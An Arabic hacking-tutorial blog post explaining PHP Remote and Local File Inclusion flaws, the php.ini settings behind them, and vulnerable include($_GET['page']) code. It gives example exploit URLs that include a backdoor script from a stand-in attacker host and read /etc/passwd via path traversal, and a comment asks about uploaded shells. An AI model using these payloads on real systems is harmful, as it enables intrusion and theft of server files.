الجمعة، 2 ديسمبر 2016
2.12.16

ثغرة RFI و LFI -شرح مفصل-

في تدوينة اليوم سنقوم بتسليط الضوء بشكل مفصل على ثغرتي RFI : Remote File Include و LFI : Local File Include و محاولة التعرف على كل جوانب الثغرة من تعريف و رصد و استغلال .

تعريف وتقديم:

بداية لن نقوم بالغوص في أعماق الأنترنت للتعرف على مفهوم ثغرة RFI و LFI سنقوم فقط بتحليل بسيط و منهجي لإسم الثغرة -الأسماء كثيرا ما تحمل الإجابة - ، و الذي يعني تضمين أو استدعاء ملف محلي (Local File Include) أي ملف يوجد بالسيرفر أو تضمين ملف عن بعد (Remote File Include) أي ملف يوجد بسيرفر اخر خارجي .

وطبعا الأغراض من هذه الهجمات و استغلال هذا النوع من الثغرات يختلف مع اختلاف أهداف الهاكرز و كذلك باختلاف نوع الثغرة حيث :

ثغرة LFI :
  • دخول و معاينة الملفات الحساسة الموجود بسيرفر الضحية.
  • تفعيل سكريبت موجود بالسيرفر .
ثغرة RFI :

  • تفعيب سكريبت موجود بسيرفر خارجي يكون من برمجة الهاكر لأغراض عديدة.
  • القيام بهجوم حجب الخدمة DOS .
طبعا هذا النوع من الثغرات ليس منتشرا بشكل كبير إذا قارناه ب SQL Injection مثلا ، لكن يبقى من الثغرات التي يمكن أن تصادفها في تصفحك و بحثك لذلك وجب عليك دراستها و أخد معلومات كافية عنها، أو اعتبارها من كلاسيكيات الهاكينغ فكما هناك من يعشق شراء السيارات ذات طراز قديم وكلاسيكي هناك هواة الثغرات الكلاسيكية.
قمت ببحث عن أكثر الثغرات استعمالا حسب OWASP و اخر ضهور لهذه الثغرة كانت بسنة 2007 ما يؤكد مقولتي بأنها من كلاسيكيات الهاكرز.

يجب أن تعلم أن وجود ثغرة RFI أو LFI بـتطبيق ويب له أسباب جدرية غير الخطأ في البرمجة و هذه الأسباب مرتبطة بخاصيات php و تحديد بملف php.ini و هذا موضوع للفقرة التالية .

خاصيات PHP :


هذه الخاصية إن أخدت قيمة "َ1" أو ON تمكنك من استدعاء لبيانات أو ملفات خارجية ، و يتم تعطيلها بالقيمة "0". وهذا هو الخطأ الذي يظهر في حال استعمالها و هي غير مفعلة :

“Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_fopen=0” […]]“


هذه الخاصية إن أخدت قيمة "َ1" أو ON تمكنك من تضمين بيانات خارجية ، و يتم تعطيلها بالقيمة "0". وهذا هو الخطأ الذي يظهر في حال استعمالها و هي غير مفعلة :

“Warning: include(): php:// wrapper is disabled in the server configuration by allow_url_include=0 in […]]“
سيناريو الثغرة و اكتشافها :

يمكنك اكتشاف أن الموقع مصاب بالثغرة من خلال رابط على هذا الشكل :

http://donhackingaricles.com/index.php?page=article

أي يمكن أن نقوم بتغيير article بموقع به سكريبت خاص بنا :

http://donhackingarticles.com/index.php?page=http://hacker.com/script.php

وخطأ البرمجة هو كالتالي :

<?php
include($_GET['page']);
?>
استعمال get يعني أن يقوم باستلام أي ملف يتلقاه بالمتغير page .


سينــــــاريو توضــــــــيحي 


الان لنفهم بشكل أوضح الثغرة سنقوم بعرض سيناريو مبسط ، لنعتبر أننا نتوفر على موقع http://donhackingarticles.com مثلا ، و هذا الموقع يتوفر على 3 فئات hacking و Security و ِContact ، وهذه الفئات يتم التحكم فيها عن طريق الملفات hacking.php ، Securtiy.php و Contact.php .

و باستعمال Include يمكن استدعاء الصفحات الثلاث عن طريق الرابط :

http://donhackingarticles.com?page=contact
http://donhackingarticles.com?page=hacking
http://donhackingarticles.com?page=security

وطبعا الكود المستعمل يأخد فيه المتغير Page القيمة التي يتلقاها من المستعمل :

<?php
  include(“$_GET[‘page’].php”);
?>
اي مكن استغلاله عن طريق ثغرة RFI و استدعاء سكريبت من موقع خاص بالهاكر على الشكل التالي :
http://donhackingarticles.com?page=http://hacker.com/backdoor.php

أو استغلاله عن طريق ثغرة LFI و استدعاء ملف حساس من سيرفر الضحية :

http://donhackingarticles.com?page=../../../etc/passwd

ويمكن أن تقوم بتضمين سكريبت به ثغرة XSS ليتم تفعيله بمتصفح الزائر وهذا أخطر شيء.

نهاية الســــــــــــــيناريو

هذا كان شرحا مفصلا لثغرة RFI و LFI سأقوم بعمل فيديو لاستغلال هذه الثغرة على منصة اختبار الثغرات DVWA تقبلوا تحياتي . 



5 comments:

  1. طيب عندي سؤال في الhacking في ثغرات الfile including
    الlocal file include والremote file include ،، لو رفعت الشل بتاعي بلقاهو في اي مسار؟

    ردحذف
  2. Your Affiliate Money Making Machine is waiting -

    Plus, making money with it is as simple as 1...2...3!

    Here's how it all works...

    STEP 1. Choose which affiliate products you want to promote
    STEP 2. Add PUSH BUTTON TRAFFIC (this LITERALLY takes 2 minutes)
    STEP 3. Watch the system grow your list and sell your affiliate products for you!

    So, do you want to start making money?

    Click here to start running the system

    ردحذف

أضف تعليقك